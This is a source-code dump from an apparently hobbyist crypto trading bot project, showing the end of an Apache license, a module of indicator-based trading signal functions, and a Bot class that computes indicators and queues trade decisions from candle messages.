| on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /TradingStrats.py: -------------------------------------------------------------------------------- 1 | from Logger import * 2 | from LiveTradingConfig import * 3 | 4 | def USDT_SL_TP(options): 5 | """TP/SL when base unit is USDT and depends on filled position size.""" 6 | q = round(1 / options['position_size'], 6) 7 | return SL_mult * q, TP_mult * q 8 | 9 | def candle_wick(Trade_Direction, Close, Open, High, Low, current_index): 10 | """3 candles trend + opposite candle with long wick.""" 11 | i = current_index 12 | if Close[i-4] < Close[i-3] < Close[i-2] and Close[i-1] < Open[i-1] and (High[i-1]-Open[i-1] + Close[i-1]-Low[i-1]) > 10*(Open[i-1]-Close[i-1]) and Close[i] < Close[i-1]: 13 | return 0 14 | if Close[i-4] > Close[i-3] > Close[i-2] and Close[i-1] > Open[i-1] and (High[i-1]-Close[i-1] + Open[i-1]-Low[i-1]) > 10*(Close[i-1]-Open[i-1]) and Close[i] > Close[i-1]: 15 | return 1 16 | return Trade_Direction 17 | 18 | def fibMACD(Trade_Direction, Close, Open, High, Low, MACD_signal, MACD, EMA200, current_index): 19 | """Trend pullback to Fibonacci levels + MACD cross + engulfing.""" 20 | period = 100 21 | peaks, p_locs, troughs, t_locs = [], [], [], [] 22 | for i in range(current_index - period, current_index - 2): 23 | if High[i] > max(High[i-1], High[i+1], High[i-2], High[i+2]): 24 | peaks.append(High[i]); p_locs.append(i) 25 | elif Low[i] < min(Low[i-1], Low[i+1], Low[i-2], Low[i+2]): 26 | troughs.append(Low[i]); t_locs.append(i) 27 | 28 | trend = 1 if Close[current_index] > EMA200[current_index] else 0 if Close[current_index] < EMA200[current_index] else -99 29 | max_pos = min_pos = -99 30 | 31 | if trend == 1: 32 | max_close, min_close = -1e9, 1e9 33 | max_flag = min_flag = 0 34 | for i in range(len(peaks)-1, -1, -1): 35 | if peaks[i] > max_close and max_flag < 2: 36 | max_close = peaks[i]; max_pos = p_locs[i]; max_flag = 0 37 | elif max_flag == 2: break 38 | else: max_flag += 1 39 | start = -99 40 | for i, loc in enumerate(t_locs): 41 | if loc < max_pos: start = i 42 | else: break 43 | for i in range(start, -1, -1): 44 | if troughs[i] < min_close and min_flag < 2: 45 | min_close = troughs[i]; min_pos = t_locs[i]; min_flag = 0 46 | elif min_flag == 2: break 47 | else: min_flag += 1 48 | 49 | f0 = max_close 50 | f1 = max_close - .236*(max_close-min_close) 51 | f2 = max_close - .382*(max_close-min_close) 52 | f3 = max_close - .5*(max_close-min_close) 53 | f4 = max_close - .618*(max_close-min_close) 54 | f5 = max_close - .786*(max_close-min_close) 55 | f6 = min_close 56 | 57 | i = current_index 58 | cond_macd = (MACD_signal[i-1] < MACD[i-1] or MACD_signal[i-2] < MACD[i-2]) and MACD_signal[i] > MACD[i] 59 | engulf_bull = Close[i-2] < Open[i-2] < Close[i-1] < Close[i] 60 | if (f0 > Low[i-2] > f1 and Close[i-3] > f1 and Close[i-4] > f1 and Close[-6] > f1 and engulf_bull and cond_macd) \ 61 | or (f1 > Low[i-2] > f2 and Close[i-3] > f2 and Close[i-4] > f2 and Close[-6] > f2 and engulf_bull and cond_macd) \ 62 | or (f2 > Low[i-1] > f3 and Close[i-2] > f3 and Close[i-3] > f3 and Close[i-4] > f3 and engulf_bull and cond_macd) \ 63 | or (f3 > Low[i-1] > f4 and Close[i-2] > f4 and Close[i-3] > f4 and Close[i-4] > f4 and engulf_bull and cond_macd) \ 64 | or (f4 > Low[i-1] > f5 and Close[i-2] > f5 and Close[i-3] > f5 and Close[i-4] > f5 and engulf_bull and cond_macd) \ 65 | or (f5 > Low[i-1] > f6 and Close[i-2] > f6 and Close[i-3] > f6 and Close[i-4] > f6 and engulf_bull and cond_macd): 66 | return 1 67 | 68 | elif trend == 0: 69 | max_close, min_close = -1e9, 1e9 70 | max_flag = min_flag = 0 71 | for i in range(len(troughs)-1, -1, -1): 72 | if troughs[i] < min_close and min_flag < 2: 73 | min_close = troughs[i]; min_pos = t_locs[i]; min_flag = 0 74 | elif min_flag == 2: break 75 | else: min_flag += 1 76 | start = -99 77 | for i, loc in enumerate(p_locs): 78 | if loc < min_pos: start = i 79 | else: break 80 | for i in range(start, -1, -1): 81 | if peaks[i] > max_close and max_flag < 2: 82 | max_close = peaks[i]; max_pos = p_locs[i]; max_flag = 0 83 | elif max_flag == 2: break 84 | else: max_flag += 1 85 | 86 | f0 = min_close 87 | f1 = min_close + .236*(max_close-min_close) 88 | f2 = min_close + .382*(max_close-min_close) 89 | f3 = min_close + .5*(max_close-min_close) 90 | f4 = min_close + .618*(max_close-min_close) 91 | f5 = min_close + .786*(max_close-min_close) 92 | f6 = max_close 93 | 94 | i = current_index 95 | cond_macd = (MACD_signal[i-1] > MACD[i-1] or MACD_signal[i-2] > MACD[i-2]) and MACD_signal[i] < MACD[i] 96 | engulf_bear = Close[i-2] > Open[i-2] > Close[i-1] > Close[i] 97 | if (f0 < High[i-2] < f1 and Close[i-3] < f1 and Close[i-4] < f1 and Close[-6] < f1 and engulf_bear and cond_macd) \ 98 | or (f1 < High[i-2] < f2 and Close[i-3] < f2 and Close[i-4] < f2 and Close[-6] < f2 and engulf_bear and cond_macd) \ 99 | or (f2 < High[i-2] < f3 and Close[i-3] < f3 and Close[i-4] < f3 and Close[-6] < f3 and engulf_bear and cond_macd) \ 100 | or (f3 < High[i-2] < f4 and Close[i-3] < f4 and Close[i-4] < f4 and Close[-6] < f4 and engulf_bear and cond_macd) \ 101 | or (f4 < High[i-2] < f5 and Close[i-3] < f5 and Close[i-4] < f5 and Close[-6] < f5 and engulf_bear and cond_macd) \ 102 | or (f5 < High[i-2] < f6 and Close[i-3] < f6 and Close[i-4] < f6 and Close[-6] < f6 and engulf_bear and cond_macd): 103 | return 0 104 | 105 | return Trade_Direction 106 | 107 | def goldenCross(Trade_Direction, Close, EMA100, EMA50, EMA20, RSI, current_index): 108 | """EMA20/EMA50 cross with EMA100 and RSI direction filter.""" 109 | i = current_index 110 | if Close[i] > EMA100[i] and RSI[i] > 50: 111 | if (EMA20[i-1] < EMA50[i-1] <= EMA20[i]) or (EMA20[i-2] < EMA50[i-2] <= EMA20[i]) or (EMA20[i-3] < EMA50[i-3] <= EMA20[i]): 112 | return 1 113 | elif Close[i] < EMA100[i] and RSI[i] < 50: 114 | if (EMA20[i-1] > EMA50[i-1] >= EMA20[i]) or (EMA20[i-2] > EMA50[i-2] >= EMA20[i]) or (EMA20[i-3] > EMA50[i-3] >= EMA20[i]): 115 | return 0 116 | return Trade_Direction 117 | 118 | def StochRSIMACD(Trade_Direction, fastd, fastk, RSI, MACD, macdsignal, current_index): 119 | """StochRSI extremes + MACD cross + RSI direction.""" 120 | i = current_index 121 | bull = ( 122 | ((fastd[i] < 20 and fastk[i] < 20) and RSI[i] > 50 and MACD[i] > macdsignal[i] and MACD[i-1] < macdsignal[i-1]) or 123 | ((fastd[i-1] < 20 and fastk[i-1] < 20) and RSI[i] > 50 and MACD[i] > macdsignal[i] and MACD[i-2] < macdsignal[i-2] and fastd[i] < 80 and fastk[i] < 80) or 124 | ((fastd[i-2] < 20 and fastk[i-2] < 20) and RSI[i] > 50 and MACD[i] > macdsignal[i] and MACD[i-1] < macdsignal[i-1] and fastd[i] < 80 and fastk[i] < 80) or 125 | ((fastd[i-3] < 20 and fastk[i-3] < 20) and RSI[i] > 50 and MACD[i] > macdsignal[i] and MACD[i-2] < macdsignal[i-2] and fastd[i] < 80 and fastk[i] < 80) 126 | ) 127 | bear = ( 128 | ((fastd[i] > 80 and fastk[i] > 80) and RSI[i] < 50 and MACD[i] < macdsignal[i] and MACD[i-1] > macdsignal[i-1]) or 129 | ((fastd[i-1] > 80 and fastk[i-1] > 80) and RSI[i] < 50 and MACD[i] < macdsignal[i] and MACD[i-2] > macdsignal[i-2] and fastd[i] > 20 and fastk[i] > 20) or 130 | ((fastd[i-2] > 80 and fastk[i-2] > 80) and RSI[i] < 50 and MACD[i] < macdsignal[i] and MACD[i-1] > macdsignal[i-1] and fastd[i] > 20 and fastk[i] > 20) or 131 | ((fastd[i-3] > 80 and fastk[i-3] > 80) and RSI[i] < 50 and MACD[i] < macdsignal[i] and MACD[i-2] > macdsignal[i-2] and fastd[i] > 20 and fastk[i] > 20) 132 | ) 133 | if bull: return 1 134 | if bear: return 0 135 | return Trade_Direction 136 | 137 | def tripleEMA(Trade_Direction, EMA3, EMA6, EMA9, current_index): 138 | """Fast EMA crossing both M/L EMAs after sustained separation.""" 139 | i = current_index 140 | if EMA3[i-4] > EMA6[i-4] > 0 and EMA3[i-4] > EMA9[i-4] and \ 141 | EMA3[i-3] > EMA6[i-3] and EMA3[i-3] > EMA9[i-3] and \ 142 | EMA3[i-2] > EMA6[i-2] and EMA3[i-2] > EMA9[i-2] and \ 143 | EMA3[i-1] > EMA6[i-1] and EMA3[i-1] > EMA9[i-1] and \ 144 | EMA3[i] < EMA6[i] and EMA3[i] < EMA9[i]: 145 | return 0 146 | if EMA3[i-4] < EMA6[i-4] and EMA3[i-4] < EMA9[i-4] and \ 147 | EMA3[i-3] < EMA6[i-3] and EMA3[i-3] < EMA9[i-3] and \ 148 | EMA3[i-2] < EMA6[i-2] and EMA3[i-2] < EMA9[i-2] and \ 149 | EMA3[i-1] < EMA6[i-1] and EMA3[i-1] < EMA9[i-1] and \ 150 | EMA3[i] > EMA6[i] and EMA3[i] > EMA9[i]: 151 | return 1 152 | return Trade_Direction 153 | 154 | def heikin_ashi_ema2(Open_H, High_H, Low_H, Close_H, Trade_Direction, CurrentPos, Close_pos, fastd, fastk, EMA200, current_index): 155 | """Heikin Ashi + StochRSI crosses around EMA200 with pattern checks.""" 156 | i = current_index 157 | if CurrentPos == -99: 158 | Trade_Direction = -99 159 | short_th, long_th = .7, .3 160 | if fastk[i-1] > fastd[i-1] and fastk[i] < fastd[i] and Close_H[i] < EMA200[i]: 161 | for k in range(10, 2, -1): 162 | if Close_H[-k] < Open_H[-k] and Open_H[-k] == High_H[-k]: 163 | for j in range(k, 2, -1): 164 | if Close_H[-j] > EMA200[-j] and Close_H[-j+1] < EMA200[-j+1] and Open_H[-j] > Close_H[-j]: 165 | if all(fastd[-r] >= short_th and fastk[-r] >= short_th for r in range(j, 0, -1)): 166 | return 0, Close_pos 167 | elif fastk[i-1] < fastd[i-1] and fastk[i] > fastd[i] and Close_H[i] > EMA200[i]: 168 | for k in range(10, 2, -1): 169 | if Close_H[-k] > Open_H[-k] and Open_H[-k] == Low_H[-k]: 170 | for j in range(k, 2, -1): 171 | if Close_H[-j] < EMA200[-j] and Close_H[-j+1] > EMA200[-j+1] and Open_H[-j] < Close_H[-j]: 172 | if all(fastd[-r] <= long_th and fastk[-r] <= long_th for r in range(j, 0, -1)): 173 | return 1, Close_pos 174 | elif CurrentPos == 1 and Close_H[i] < Open_H[i]: 175 | Close_pos = 1 176 | elif CurrentPos == 0 and Close_H[i] > Open_H[i]: 177 | Close_pos = 1 178 | else: 179 | Close_pos = 0 180 | return Trade_Direction, Close_pos 181 | 182 | def heikin_ashi_ema(Open_H, Close_H, Trade_Direction, CurrentPos, Close_pos, fastd, fastk, EMA200, current_index): 183 | """Simpler HA + StochRSI + EMA200 filter.""" 184 | i = current_index 185 | if CurrentPos == -99: 186 | Trade_Direction = -99 187 | short_th, long_th = .8, .2 188 | if fastk[i] > short_th and fastd[i] > short_th: 189 | for k in range(10, 2, -1): 190 | if fastd[-k] >= .8 and fastk[-k] >= .8: 191 | for j in range(k, 2, -1): 192 | if fastk[-j] > fastd[-j] and fastk[-j+1] < fastd[-j+1]: 193 | if all(fastk[r] >= short_th and fastd[r] >= short_th for r in range(j, 2, -1)): 194 | if Close_H[i-2] > EMA200[i-2] and Close_H[i-1] < EMA200[i-1] and Close_H[i] < Open_H[i]: 195 | return 0, Close_pos 196 | elif fastk[i] < long_th and fastd[i] < long_th: 197 | for k in range(10, 2, -1): 198 | if fastd[-k] <= .2 and fastk[-k] <= .2: 199 | for j in range(k, 2, -1): 200 | if fastk[-j] < fastd[-j] and fastk[-j+1] > fastd[-j+1] and fastk[i] < long_th and fastd[i] < long_th: 201 | if all(fastk[r] <= long_th and fastd[r] <= long_th for r in range(j, 2, -1)): 202 | if Close_H[i-2] < EMA200[i-2] and Close_H[i-1] > EMA200[i-1] and Close_H[i] > Open_H[i]: 203 | return 1, Close_pos 204 | elif CurrentPos == 1 and Close_H[i] < Open_H[i]: 205 | Close_pos = 1 206 | elif CurrentPos == 0 and Close_H[i] > Open_H[i]: 207 | Close_pos = 1 208 | else: 209 | Close_pos = 0 210 | return Trade_Direction, Close_pos 211 | 212 | def tripleEMAStochasticRSIATR(Close, Trade_Direction, EMA50, EMA14, EMA8, fastd, fastk, current_index): 213 | """Trend filter by EMAs + StochRSI cross.""" 214 | i = current_index 215 | if Close[i] > EMA8[i] > EMA14[i] > EMA50[i] and fastk[i] > fastd[i] and fastk[i-1] < fastd[i-1]: 216 | return 1 217 | if Close[i] < EMA8[i] < EMA14[i] < EMA50[i] and fastk[i] < fastd[i] and fastk[i-1] > fastd[i-1]: 218 | return 0 219 | return Trade_Direction 220 | 221 | def stochBB(Trade_Direction, fastd, fastk, percent_B, current_index): 222 | """StochRSI extremes with Bollinger %B boundary check.""" 223 | i = current_index 224 | b1, b2, b3 = percent_B[i], percent_B[i-1], percent_B[i-2] 225 | if fastk[i] < .2 and fastd[i] < .2 and fastk[i] > fastd[i] and fastk[i-1] < fastd[i-1] and (b1 < 0 or b2 < 0 or b3 < 0): 226 | return 1 227 | if fastk[i] > .8 and fastd[i] > .8 and fastk[i] < fastd[i] and fastk[i-1] > fastd[i-1] and (b1 > 1 or b2 > 1 or b3 > 1): 228 | return 0 229 | return Trade_Direction 230 | 231 | def breakout(Trade_Direction, Close, VolumeStream, max_Close, min_Close, max_Vol, current_index): 232 | """Simple breakout with volume confirmation (invert=0 means trade breakout direction).""" 233 | i = current_index 234 | if Close[i] >= max_Close.iloc[i] and VolumeStream[i] >= max_Vol.iloc[i]: 235 | return 1 236 | if Close[i] <= min_Close.iloc[i] and VolumeStream[i] >= max_Vol.iloc[i]: 237 | return 0 238 | return Trade_Direction 239 | 240 | def ema_crossover(Trade_Direction, current_index, ema_short, ema_long): 241 | """1-candle EMA cross.""" 242 | i = current_index 243 | if ema_short[i-1] > ema_long[i-1] and ema_short[i] < ema_long[i]: 244 | return 0 245 | if ema_short[i-1] < ema_long[i-1] and ema_short[i] > ema_long[i]: 246 | return 1 247 | return Trade_Direction 248 | 249 | def EMA_cross(Trade_Direction, EMA_short, EMA_long, current_index): 250 | """EMA_short flips after sustained separation from EMA_long.""" 251 | i = current_index 252 | if EMA_short[i-4] > EMA_long[i-4] and EMA_short[i-3] > EMA_long[i-3] and EMA_short[i-2] > EMA_long[i-2] and EMA_short[i-1] > EMA_long[i-1] and EMA_short[i] < EMA_long[i]: 253 | return 0 254 | if EMA_short[i-4] < EMA_long[i-4] and EMA_short[i-3] < EMA_long[i-3] and EMA_short[i-2] < EMA_long[i-2] and EMA_short[i-1] < EMA_long[i-1] and EMA_short[i] > EMA_long[i]: 255 | return 1 256 | return Trade_Direction 257 | 258 | def SetSLTP(stop_loss_val_arr, take_profit_val_arr, peaks, troughs, Close, High, Low, Trade_Direction, SL, TP, TP_SL_choice, current_index): 259 | """Compute absolute SL/TP from arrays or from swing points.""" 260 | i = current_index 261 | tp = sl = -99 262 | if TP_SL_choice in ('%', 'x (ATR)'): 263 | tp = take_profit_val_arr[i]; sl = stop_loss_val_arr[i] 264 | elif TP_SL_choice.startswith('x (Swing High/Low) level'): 265 | high_swing, low_swing = High[i], Low[i] 266 | hf = lf = 0 267 | lvl = int(TP_SL_choice[-1]) 268 | for j in range(i - lvl, -1, -1): 269 | if High[j] > high_swing and not hf and peaks[j]: 270 | high_swing = peaks[j]; hf = 1 271 | if Low[j] < low_swing and not lf and troughs[j]: 272 | low_swing = troughs[j]; lf = 1 273 | if (hf and Trade_Direction == 0) or (lf and Trade_Direction == 1): break 274 | if Trade_Direction == 0: 275 | sl = SL * (high_swing - Close[i]); tp = TP * sl 276 | elif Trade_Direction == 1: 277 | sl = SL * (Close[i] - low_swing); tp = TP * sl 278 | elif TP_SL_choice.startswith('x (Swing Close) level'): 279 | high_swing = low_swing = Close[i] 280 | hf = lf = 0 281 | lvl = int(TP_SL_choice[-1]) 282 | for j in range(i - lvl, -1, -1): 283 | if Close[j] > high_swing and not hf and peaks[j]: 284 | high_swing = peaks[j]; hf = 1 285 | if Close[j] < low_swing and not lf and troughs[j]: 286 | low_swing = troughs[j]; lf = 1 287 | if (hf and Trade_Direction == 0) or (lf and Trade_Direction == 1): break 288 | if Trade_Direction == 0: 289 | sl = SL * (high_swing - Close[i]); tp = TP * sl 290 | elif Trade_Direction == 1: 291 | sl = SL * (Close[i] - low_swing); tp = TP * sl 292 | return sl, tp 293 | -------------------------------------------------------------------------------- /BotClass.py: -------------------------------------------------------------------------------- 1 | from Logger import * 2 | from ta.momentum import stochrsi_d, stochrsi_k, stoch, stoch_signal, rsi 3 | from ta.trend import ema_indicator, macd_signal, macd, sma_indicator 4 | from ta.volatility import average_true_range, bollinger_pband 5 | import pandas as pd, sys, os 6 | import TradingStrats as TS 7 | from LiveTradingConfig import custom_tp_sl_functions, wait_for_candle_close 8 | 9 | class Bot: 10 | def __init__(self, symbol, Open, Close, High, Low, Volume, Date, OP, CP, index, tick, 11 | strategy, TP_SL_choice, SL_mult, TP_mult, backtesting=0, signal_queue=None, print_trades_q=None): 12 | self.symbol, self.Date = symbol, Date 13 | n = min(len(Open), len(Close), len(High), len(Low), len(Volume)) 14 | self.Open, self.Close, self.High, self.Low, self.Volume = Open[-n:], Close[-n:], High[-n:], Low[-n:], Volume[-n:] 15 | self.OP, self.CP, self.index, self.tick_size = OP, CP, index, tick 16 | self.add_hist_complete = 0 17 | self.Open_H, self.Close_H, self.High_H, self.Low_H = [], [], [], [] 18 | self.socket_failed = False 19 | self.backtesting = backtesting 20 | self.use_close_pos = False 21 | self.strategy = strategy 22 | self.TP_SL_choice, self.SL_mult, self.TP_mult = TP_SL_choice, SL_mult, TP_mult 23 | self.indicators, self.current_index = {}, -1 24 | self.take_profit_val, self.stop_loss_val = [], [] 25 | self.peaks, self.troughs = [], [] 26 | self.signal_queue = signal_queue 27 | if self.index == 0: self.print_trades_q = print_trades_q 28 | if backtesting: 29 | self.add_hist([], [], [], [], [], []) 30 | self.update_indicators() 31 | self.update_TP_SL() 32 | self.first_interval = False 33 | self.pop_previous_value = False 34 | 35 | def _series(self): 36 | C = pd.Series(self.Close) 37 | H = pd.Series(self.High) 38 | L = pd.Series(self.Low) 39 | V = pd.Series(self.Volume) 40 | return C, H, L, V 41 | 42 | def update_indicators(self): 43 | try: 44 | C, H, L, V = self._series() 45 | s = self.strategy 46 | if s == 'StochRSIMACD': 47 | self.indicators = { 48 | "fastd": {"values": list(stoch(close=C, high=H, low=L)), "plotting_axis": 3}, 49 | "fastk": {"values": list(stoch_signal(close=C, high=H, low=L)), "plotting_axis": 3}, 50 | "RSI": {"values": list(rsi(C)), "plotting_axis": 4}, 51 | "MACD": {"values": list(macd(C)), "plotting_axis": 5}, 52 | "macdsignal": {"values": list(macd_signal(C)), "plotting_axis": 5}, 53 | } 54 | elif s == 'tripleEMAStochasticRSIATR': 55 | self.indicators = { 56 | "EMA_L": {"values": list(ema_indicator(C, window=100)), "plotting_axis": 1}, 57 | "EMA_M": {"values": list(ema_indicator(C, window=50)), "plotting_axis": 1}, 58 | "EMA_S": {"values": list(ema_indicator(C, window=20)), "plotting_axis": 1}, 59 | "fastd": {"values": list(stochrsi_d(C)), "plotting_axis": 3}, 60 | "fastk": {"values": list(stochrsi_k(C)), "plotting_axis": 3}, 61 | } 62 | elif s == 'tripleEMA': 63 | self.indicators = { 64 | "EMA_L": {"values": list(ema_indicator(C, window=50)), "plotting_axis": 1}, 65 | "EMA_M": {"values": list(ema_indicator(C, window=20)), "plotting_axis": 1}, 66 | "EMA_S": {"values": list(ema_indicator(C, window=5)), "plotting_axis": 1}, 67 | } 68 | elif s == 'breakout': 69 | self.indicators = { 70 | "max Close % change": {"values": list(C.rolling(10).max()), "plotting_axis": 3}, 71 | "min Close % change": {"values": list(C.rolling(10).min()), "plotting_axis": 3}, 72 | "max Volume": {"values": list(V.rolling(10).max()), "plotting_axis": 2}, 73 | } 74 | elif s == 'stochBB': 75 | self.indicators = { 76 | "fastd": {"values": list(stochrsi_d(C)), "plotting_axis": 3}, 77 | "fastk": {"values": list(stochrsi_k(C)), "plotting_axis": 3}, 78 | "percent_B": {"values": list(bollinger_pband(C)), "plotting_axis": 4}, 79 | } 80 | elif s == 'goldenCross': 81 | self.indicators = { 82 | "EMA_L": {"values": list(ema_indicator(C, window=100)), "plotting_axis": 1}, 83 | "EMA_M": {"values": list(ema_indicator(C, window=50)), "plotting_axis": 1}, 84 | "EMA_S": {"values": list(ema_indicator(C, window=20)), "plotting_axis": 1}, 85 | "RSI": {"values": list(rsi(C)), "plotting_axis": 3}, 86 | } 87 | elif s == 'fibMACD': 88 | self.indicators = { 89 | "MACD_signal": {"values": list(macd_signal(C)), "plotting_axis": 3}, 90 | "MACD": {"values": list(macd(C)), "plotting_axis": 3}, 91 | "EMA": {"values": list(sma_indicator(C, window=200)), "plotting_axis": 1}, 92 | } 93 | elif s == 'EMA_cross': 94 | self.indicators = { 95 | "EMA_S": {"values": list(ema_indicator(C, window=5)), "plotting_axis": 1}, 96 | "EMA_L": {"values": list(ema_indicator(C, window=20)), "plotting_axis": 1}, 97 | } 98 | elif s in ('heikin_ashi_ema2', 'heikin_ashi_ema'): 99 | self.use_close_pos = True 100 | self.indicators = { 101 | "fastd": {"values": list(stochrsi_d(C)), "plotting_axis": 3}, 102 | "fastk": {"values": list(stochrsi_k(C)), "plotting_axis": 3}, 103 | "EMA": {"values": list(ema_indicator(C, window=200)), "plotting_axis": 1}, 104 | } 105 | elif s == 'ema_crossover': 106 | self.indicators = { 107 | "ema_short": {"values": list(ema_indicator(C, window=20)), "plotting_axis": 1}, 108 | "ema_long": {"values": list(ema_indicator(C, window=50)), "plotting_axis": 1}, 109 | } 110 | except Exception as e: 111 | exc_type, exc_obj, exc_tb = sys.exc_info() 112 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 113 | log.error(f'update_indicators() - strategy: {self.strategy}, Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 114 | 115 | def _extrema(self, arr, level, peak=True): 116 | n = len(arr) 117 | out = [0]*n 118 | for i in range(n): 119 | if i < level or i > n - level - 1: continue 120 | ok = all((arr[i] > arr[i-k] and arr[i] > arr[i+k]) if peak else (arr[i] < arr[i-k] and arr[i] < arr[i+k]) for k in range(1, level+1)) 121 | out[i] = arr[i] if ok else 0 122 | return out 123 | 124 | def update_TP_SL(self): 125 | try: 126 | c = self.TP_SL_choice 127 | if c == '%': 128 | self.take_profit_val = [(self.TP_mult/100)*p for p in self.Close] 129 | self.stop_loss_val = [(self.SL_mult/100)*p for p in self.Close] 130 | elif c == 'x (ATR)': 131 | atr = average_true_range(self.High, self.Low, self.Close) 132 | self.take_profit_val = [self.TP_mult*abs(a) for a in atr] 133 | self.stop_loss_val = [self.SL_mult*abs(a) for a in atr] 134 | elif c in ('x (Swing High/Low) level 1','x (Swing High/Low) level 2','x (Swing High/Low) level 3'): 135 | lvl = int(c[-1]) 136 | self.peaks = self._extrema(self.High, lvl, True) 137 | self.troughs = self._extrema(self.Low, lvl, False) 138 | elif c in ('x (Swing Close) level 1','x (Swing Close) level 2','x (Swing Close) level 3'): 139 | lvl = int(c[-1]) 140 | self.peaks = self._extrema(self.Close, lvl, True) 141 | self.troughs = self._extrema(self.Close, lvl, False) 142 | except Exception as e: 143 | exc_type, exc_obj, exc_tb = sys.exc_info() 144 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 145 | log.error(f'update_TP_SL() - choice: {self.TP_SL_choice}, Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 146 | 147 | def add_hist(self, Date_temp, Open_temp, Close_temp, High_temp, Low_temp, Volume_temp): 148 | if not self.backtesting: 149 | try: 150 | while self.Date: 151 | if self.Date[0] > Date_temp[-1]: 152 | Date_temp.append(self.Date.pop(0)); Open_temp.append(self.Open.pop(0)) 153 | Close_temp.append(self.Close.pop(0)); High_temp.append(self.High.pop(0)) 154 | Low_temp.append(self.Low.pop(0)); Volume_temp.append(self.Volume.pop(0)) 155 | else: 156 | self.Date.pop(0); self.Open.pop(0); self.Close.pop(0); self.High.pop(0); self.Low.pop(0); self.Volume.pop(0) 157 | self.Date, self.Open, self.Close, self.High, self.Low, self.Volume = Date_temp, Open_temp, Close_temp, High_temp, Low_temp, Volume_temp 158 | except Exception as e: 159 | exc_type, exc_obj, exc_tb = sys.exc_info() 160 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 161 | log.error(f'add_hist() - merge error, Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 162 | try: 163 | self.Close_H.append((self.Open[0] + self.Close[0] + self.Low[0] + self.High[0]) / 4) 164 | self.Open_H.append((self.Close[0] + self.Open[0]) / 2) 165 | self.High_H.append(self.High[0]); self.Low_H.append(self.Low[0]) 166 | for i in range(1, len(self.Close)): 167 | self.Open_H.append((self.Open_H[i-1] + self.Close_H[i-1]) / 2) 168 | self.Close_H.append((self.Open[i] + self.Close[i] + self.Low[i] + self.High[i]) / 4) 169 | self.High_H.append(max(self.High[i], self.Open_H[i], self.Close_H[i])) 170 | self.Low_H.append(min(self.Low[i], self.Open_H[i], self.Close_H[i])) 171 | except Exception as e: 172 | exc_type, exc_obj, exc_tb = sys.exc_info() 173 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 174 | log.error(f'add_hist() - heikin ashi error, Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}') 175 | self.add_hist_complete = 1 176 | 177 | def handle_socket_message(self, msg): 178 | try: 179 | if msg: 180 | k = msg['k'] 181 | closed = k['x'] 182 | if closed or (not wait_for_candle_close and self.first_interval and self.add_hist_complete): 183 | if self.pop_previous_value: self.remove_last_candle() 184 | self.pop_previous_value = not closed 185 | self.consume_new_candle(k) 186 | if self.add_hist_complete: 187 | self.generate_new_heikin_ashi() 188 | d, sl, tp = self.make_decision() 189 | if d != -99: 190 | self.signal_queue.put([self.symbol, self.OP, self.CP, self.tick_size, d, self.index, sl, tp]) 191 | if closed: self.remove_first_candle() 192 | if self.index == 0: self.print_trades_q.put(True) 193 | self.first_interval = True 194 | except Exception as e: 195 | exc_type, exc_obj, exc_tb = sys.exc_info() 196 | fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] 197 | log.warning(f"handle_socket_message() - {self.symbol} failed, msg: {msg}, Info: {(exc_obj, fname, exc_tb.tb_lineno)}, Error: {e}") 198 | self.socket_failed = True 199 | 200 | def make_decision(self): 201 | self.update_indicators() 202 | d, sl, tp = -99, -99, -99 203 | try: 204 | s = self.strategy 205 | if s == 'StochRSIMACD': 206 | d = TS.StochRSIMACD(d, self.indicators["fastd"]["values"], self.indicators["fastk"]["values"], 207 | self.indicators["RSI"]["values"], self.indicators["MACD"]["values"], 208 | self.indicators["macdsignal"]["values"], self.current_index) 209 | elif s == 'tripleEMAStochasticRSIATR': 210 | d = TS.tripleEMAStochasticRSIATR(self.Close, d, self.indicators["EMA_L"]["values"], 211 | self.indicators["EMA_M"]["values"], self.indicators["EMA_S"]["values"], 212 | self.indicators["fastd"]["values"], self.indicators["fastk"]["values"], self.current_index) 213 | elif s == 'tripleEMA': 214 | d = TS.tripleEMA(d, self.indicators["EMA_S"]["values"], self.indicators["EMA_M"]["values"], 215 | self.indicators["EMA_L"]["values"], self.current_index) 216 | elif s == 'breakout': 217 | d = TS.breakout(d, self.Close, self.Volume, 218 | self.indicators["max Close % change"]["values"], 219 | self.indicators["min Close % change"]["values"], 220 | self.indicators["max Volume"]["values"], self.current_index) 221 | elif s == 'stochBB': 222 | d = TS.stochBB(d, self.indicators["fastd"]["values"], self.indicators["fastk"]["values"], 223 | self.indicators["percent_B"]["values"], self.current_index) 224 | elif s == 'goldenCross': 225 | d = TS.goldenCross(d, self.Close, self.indicators["EMA_L"]["values"], self.indicators["EMA_M"]["values"], 226 | self.indicators["EMA_S"]["values"], self.indicators["RSI"]["values"], self.current_index) 227 | elif s == 'candle_wick': 228 | d = TS.candle_wick(d, self.Close, self.Open, self.High, self.Low, self.current_index) 229 | elif s == 'fibMACD': 230 | d = TS.fibMACD(d, self.Close, self.Open, self.High, 